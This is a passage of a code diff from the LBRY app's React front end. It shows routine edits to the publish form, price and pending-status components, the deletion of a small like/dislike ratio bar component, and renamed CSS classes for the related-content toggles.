'While we respect the desire for maximally private usage, please note that choosing this option hurts the ability for creators to understand how their content is performing.'
|
||||
)}
|
||||
</p>
|
||||
)}
|
||||
</Form>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -276,7 +276,7 @@ function PublishFile(props: Props) {
|
||||
filePath: file.path || file,
|
||||
};
|
||||
// Strip off extention and replace invalid characters
|
||||
let fileName = name || (file.name && file.name.substring(0, file.name.lastIndexOf('.'))) || '';
|
||||
let fileName = name || (file.name && file.name.substr(0, file.name.lastIndexOf('.'))) || '';
|
||||
|
||||
if (!isStillEditing) {
|
||||
publishFormParams.name = parseName(fileName);
|
||||
|
||||
@@ -129,7 +129,6 @@ function PublishForm(props: Props) {
|
||||
hasClaimedInitialRewards,
|
||||
} = props;
|
||||
|
||||
const inEditMode = Boolean(editingURI);
|
||||
const { replace, location } = useHistory();
|
||||
const urlParams = new URLSearchParams(location.search);
|
||||
const TYPE_PARAM = 'type';
|
||||
@@ -138,7 +137,7 @@ function PublishForm(props: Props) {
|
||||
// $FlowFixMe
|
||||
const AVAILABLE_MODES = Object.values(PUBLISH_MODES).filter((mode) => {
|
||||
// $FlowFixMe
|
||||
if (inEditMode) {
|
||||
if (editingURI) {
|
||||
if (isPostClaim) {
|
||||
return mode === PUBLISH_MODES.POST;
|
||||
} else {
|
||||
@@ -249,7 +248,7 @@ function PublishForm(props: Props) {
|
||||
submitLabel = __('Uploading...');
|
||||
}
|
||||
} else if (previewing) {
|
||||
submitLabel = <Spinner type="small" />;
|
||||
submitLabel = __('Preparing...');
|
||||
} else {
|
||||
if (isStillEditing) {
|
||||
submitLabel = __('Save');
|
||||
@@ -499,7 +498,6 @@ function PublishForm(props: Props) {
|
||||
<div className={classnames({ 'card--disabled': formDisabled })}>
|
||||
{mode !== PUBLISH_MODES.POST && <PublishDescription disabled={formDisabled} />}
|
||||
<Card actions={<SelectThumbnail />} />
|
||||
<label>{__('Tags')}</label>
|
||||
<TagsSelect
|
||||
suggestMature
|
||||
disableAutoFocus
|
||||
|
||||
@@ -27,9 +27,9 @@ const PublishPending = (props: Props) => {
|
||||
return <span>{__('Uploading (%progress%%) ', { progress: progress })}</span>;
|
||||
} else {
|
||||
return (
|
||||
<div className="confirming-change">
|
||||
<span>
|
||||
{__('Confirming...')} <Spinner type="small" />
|
||||
</div>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -14,47 +14,44 @@ function PublishPrice(props: Props) {
|
||||
const { contentIsFree, fee, updatePublishForm, disabled } = props;
|
||||
|
||||
return (
|
||||
<>
|
||||
<label>{__('Price')}</label>
|
||||
<Card
|
||||
actions={
|
||||
<React.Fragment>
|
||||
<FormField
|
||||
type="radio"
|
||||
name="content_free"
|
||||
label={__('Free')}
|
||||
checked={contentIsFree}
|
||||
disabled={disabled}
|
||||
onChange={() => updatePublishForm({ contentIsFree: true })}
|
||||
/>
|
||||
<Card
|
||||
actions={
|
||||
<React.Fragment>
|
||||
<FormField
|
||||
type="radio"
|
||||
name="content_free"
|
||||
label={__('Free')}
|
||||
checked={contentIsFree}
|
||||
disabled={disabled}
|
||||
onChange={() => updatePublishForm({ contentIsFree: true })}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
type="radio"
|
||||
name="content_cost"
|
||||
label={__('Add a price to this file')}
|
||||
checked={!contentIsFree}
|
||||
disabled={disabled}
|
||||
onChange={() => updatePublishForm({ contentIsFree: false })}
|
||||
<FormField
|
||||
type="radio"
|
||||
name="content_cost"
|
||||
label={__('Add a price to this file')}
|
||||
checked={!contentIsFree}
|
||||
disabled={disabled}
|
||||
onChange={() => updatePublishForm({ contentIsFree: false })}
|
||||
/>
|
||||
{!contentIsFree && (
|
||||
<FormFieldPrice
|
||||
name="content_cost_amount"
|
||||
min={0}
|
||||
price={fee}
|
||||
onChange={newFee => updatePublishForm({ fee: newFee })}
|
||||
/>
|
||||
{!contentIsFree && (
|
||||
<FormFieldPrice
|
||||
name="content_cost_amount"
|
||||
min={0}
|
||||
price={fee}
|
||||
onChange={(newFee) => updatePublishForm({ fee: newFee })}
|
||||
/>
|
||||
)}
|
||||
{fee && fee.currency !== 'LBC' && (
|
||||
<p className="form-field__help">
|
||||
{__(
|
||||
'All content fees are charged in LBRY Credits. For alternative payment methods, the number of LBRY Credits charged will be adjusted based on the value of LBRY Credits at the time of purchase.'
|
||||
)}
|
||||
</p>
|
||||
)}
|
||||
</React.Fragment>
|
||||
}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
{fee && fee.currency !== 'LBC' && (
|
||||
<p className="form-field__help">
|
||||
{__(
|
||||
'All content fees are charged in LBRY Credits. For alternative payment methods, the number of LBRY Credits charged will be adjusted based on the value of LBRY Credits at the time of purchase.'
|
||||
)}
|
||||
</p>
|
||||
)}
|
||||
</React.Fragment>
|
||||
}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import RatioBar from './view';
|
||||
|
||||
const select = (state, props) => ({});
|
||||
|
||||
export default connect(select)(RatioBar);
|
||||
@@ -1,25 +0,0 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
|
||||
type Props = {
|
||||
likeCount: number,
|
||||
dislikeCount: number,
|
||||
};
|
||||
|
||||
const RatioBar = (props: Props) => {
|
||||
const { likeCount, dislikeCount } = props;
|
||||
|
||||
const like = (1 / (likeCount + dislikeCount)) * likeCount;
|
||||
if (like || dislikeCount) {
|
||||
return (
|
||||
<div className={'ratio-bar'}>
|
||||
<div className={'ratio-bar-like'} style={{ flex: like }} />
|
||||
<div className={'ratio-bar-dislike'} style={{ flex: 1 - like }} />
|
||||
</div>
|
||||
);
|
||||
} else {
|
||||
return <div className={'ratio-bar'} />;
|
||||
}
|
||||
};
|
||||
|
||||
export default RatioBar;
|
||||
@@ -68,18 +68,18 @@ export default React.memo<Props>(function RecommendedContent(props: Props) {
|
||||
title={__('Related')}
|
||||
titleActions={
|
||||
signingChannel && (
|
||||
<div className="recommended-content__bubble">
|
||||
<div className="recommended-content__toggles">
|
||||
<Button
|
||||
className={classnames('button-bubble', {
|
||||
'button-bubble--active': viewMode === VIEW_ALL_RELATED,
|
||||
className={classnames('button-toggle', {
|
||||
'button-toggle--active': viewMode === VIEW_ALL_RELATED,
|
||||
})}
|
||||
label={__('Related')}
|
||||
label={__('All')}
|
||||
onClick={() => setViewMode(VIEW_ALL_RELATED)}
|
||||
/>
|
||||
|
||||
<Button
|
||||
className={classnames('button-bubble', {
|
||||
'button-bubble--active': viewMode === VIEW_MORE_FROM,
|
||||
className={classnames('button-toggle', {
|
||||
'button-toggle--active': viewMode === VIEW_MORE_FROM,
|
||||
})}
|
||||
label={__('More from %claim_name%', { claim_name: channelName })}
|
||||
onClick={() => setViewMode(VIEW_MORE_FROM)}
|
||||
|
||||
Loaded 100 of 273 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user